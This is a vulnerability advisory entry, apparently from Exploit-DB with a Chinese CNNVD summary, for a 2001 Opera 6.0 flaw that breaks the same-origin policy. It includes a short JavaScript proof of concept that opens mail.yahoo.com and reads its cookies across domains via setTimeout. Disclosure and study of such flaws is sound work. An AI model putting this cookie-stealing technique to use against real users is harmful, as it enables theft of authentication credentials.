https://www.exploit-db.com/exploits/21156
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200111-012

Opera6.0及其早期版本存在漏洞。远程攻击者可以借助Java脚本使用setTimeout（1）在新窗口域打开后访问数据或（2）借助：cache访问数据来访问如cookies和对其他域链接的敏感信息。

source: http://www.securityfocus.com/bid/3553/info

Opera is a popular, freely available web browser that is supported across many different platforms.

Opera is prone to an issue which may allow for the execution of script code across domains, allowing for circumvention of the web browser's security model. It is possible to construct malicious script code on a webpage, which when executed by Opera web browser, is able to affect another domain.

In short, Opera does not properly implement the "Same Origin Policy" enforced by other browsers.

The danger is that one website may be able to access the cookie-based authentication credentials of another website. 

-1.----------------------------------
a=window.open("http://mail.yahoo.com");
function f()
{
xx=a.document.cookie;
alert("hi"+xx);
a.document.open();
a.document.write("<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setTimeout('z=x.document.cookie;alert(z);',5000)</"+"script>");
a.document.close();
}
setTimeout("f()",5000);
-----------------------------------

来源:BID
名称:3553
链接:http://www.securityfocus.com/bid/3553
来源:XF
名称:opera-java-cross-site(7567)
链接:http://www.iss.net/security_center/static/7567.php
来源:BUGTRAQ
名称:20011116Re:SeveraljavascriptvulnerabilitiesinOpera
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100588139312696&w;=2
来源:BUGTRAQ
名称:20011115SeveraljavascriptvulnerabilitiesinOpera
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100586079932284&w;=2